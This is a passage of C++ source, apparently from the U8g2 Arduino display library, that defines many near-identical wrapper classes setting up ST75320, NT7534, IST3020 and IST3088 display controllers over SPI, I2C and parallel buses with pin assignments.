d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75320_JLX320240_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75320_JLX320240_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75320_JLX320240_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75320_JLX320240_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75320_JLX320240_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75320_JLX320240_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75320_JLX320240_F_6800 : public U8G2 { public: U8G2_ST75320_JLX320240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75320_JLX320240_F_8080 : public U8G2 { public: U8G2_ST75320_JLX320240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75320_JLX320240_1_SW_I2C : public U8G2 { public: U8G2_ST75320_JLX320240_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_i2c_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75320_JLX320240_1_HW_I2C : public U8G2 { public: U8G2_ST75320_JLX320240_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_i2c_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75320_JLX320240_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75320_JLX320240_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_i2c_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75320_JLX320240_2_SW_I2C : public U8G2 { public: U8G2_ST75320_JLX320240_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_i2c_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75320_JLX320240_2_HW_I2C : public U8G2 { public: U8G2_ST75320_JLX320240_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_i2c_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75320_JLX320240_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75320_JLX320240_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_i2c_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75320_JLX320240_F_SW_I2C : public U8G2 { public: U8G2_ST75320_JLX320240_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_i2c_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75320_JLX320240_F_HW_I2C : public U8G2 { public: U8G2_ST75320_JLX320240_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_i2c_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75320_JLX320240_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75320_JLX320240_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75320_i2c_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_NT7534_TG12864R_1_4W_SW_SPI : public U8G2 { public: U8G2_NT7534_TG12864R_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_NT7534_TG12864R_1_4W_HW_SPI : public U8G2 { public: U8G2_NT7534_TG12864R_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_NT7534_TG12864R_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_NT7534_TG12864R_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_NT7534_TG12864R_1_6800 : public U8G2 { public: U8G2_NT7534_TG12864R_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_NT7534_TG12864R_1_8080 : public U8G2 { public: U8G2_NT7534_TG12864R_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_NT7534_TG12864R_2_4W_SW_SPI : public U8G2 { public: U8G2_NT7534_TG12864R_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_NT7534_TG12864R_2_4W_HW_SPI : public U8G2 { public: U8G2_NT7534_TG12864R_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_NT7534_TG12864R_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_NT7534_TG12864R_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_NT7534_TG12864R_2_6800 : public U8G2 { public: U8G2_NT7534_TG12864R_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_NT7534_TG12864R_2_8080 : public U8G2 { public: U8G2_NT7534_TG12864R_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_NT7534_TG12864R_F_4W_SW_SPI : public U8G2 { public: U8G2_NT7534_TG12864R_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_NT7534_TG12864R_F_4W_HW_SPI : public U8G2 { public: U8G2_NT7534_TG12864R_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_NT7534_TG12864R_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_NT7534_TG12864R_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_NT7534_TG12864R_F_6800 : public U8G2 { public: U8G2_NT7534_TG12864R_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_NT7534_TG12864R_F_8080 : public U8G2 { public: U8G2_NT7534_TG12864R_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3020_ERC19264_1_4W_SW_SPI : public U8G2 { public: U8G2_IST3020_ERC19264_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IST3020_ERC19264_1_4W_HW_SPI : public U8G2 { public: U8G2_IST3020_ERC19264_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3020_ERC19264_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IST3020_ERC19264_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3020_ERC19264_1_6800 : public U8G2 { public: U8G2_IST3020_ERC19264_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3020_ERC19264_1_8080 : public U8G2 { public: U8G2_IST3020_ERC19264_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3020_ERC19264_2_4W_SW_SPI : public U8G2 { public: U8G2_IST3020_ERC19264_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IST3020_ERC19264_2_4W_HW_SPI : public U8G2 { public: U8G2_IST3020_ERC19264_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3020_ERC19264_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IST3020_ERC19264_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3020_ERC19264_2_6800 : public U8G2 { public: U8G2_IST3020_ERC19264_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3020_ERC19264_2_8080 : public U8G2 { public: U8G2_IST3020_ERC19264_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3020_ERC19264_F_4W_SW_SPI : public U8G2 { public: U8G2_IST3020_ERC19264_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IST3020_ERC19264_F_4W_HW_SPI : public U8G2 { public: U8G2_IST3020_ERC19264_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3020_ERC19264_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IST3020_ERC19264_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3020_ERC19264_F_6800 : public U8G2 { public: U8G2_IST3020_ERC19264_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3020_ERC19264_F_8080 : public U8G2 { public: U8G2_IST3020_ERC19264_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3088_320X240_1_4W_SW_SPI : public U8G2 { public: U8G2_IST3088_320X240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IST3088_320X240_1_4W_HW_SPI : public U8G2 { public: U8G2_IST3088_320X240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3088_320X240_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IST3088_320X240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3088_320X240_1_6800 : public U8G2 { public: U8G2_IST3088_320X240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3088_320X240_1_8080 : public U8G2 { public: U8G2_IST3088_320X240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3088_320X240_2_4W_SW_SPI : public U8G2 { public: U8G2_IST3088_320X240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IST3088_320X240_2_4W_HW_SPI : public U8G2 { public: U8G2_IST3088_320X240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3088_320X240_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IST3088_320X240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3088_320X240_2_6800 : public U8G2 { public: U8G2_IST3088_320X240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3088_320X240_2_8080 : public U8G2 { public: U8G2_IST3088_320X240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3088_320X240_F_4W_SW_SPI : public U8G2 { public: U8G2_IST3088_320X240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { 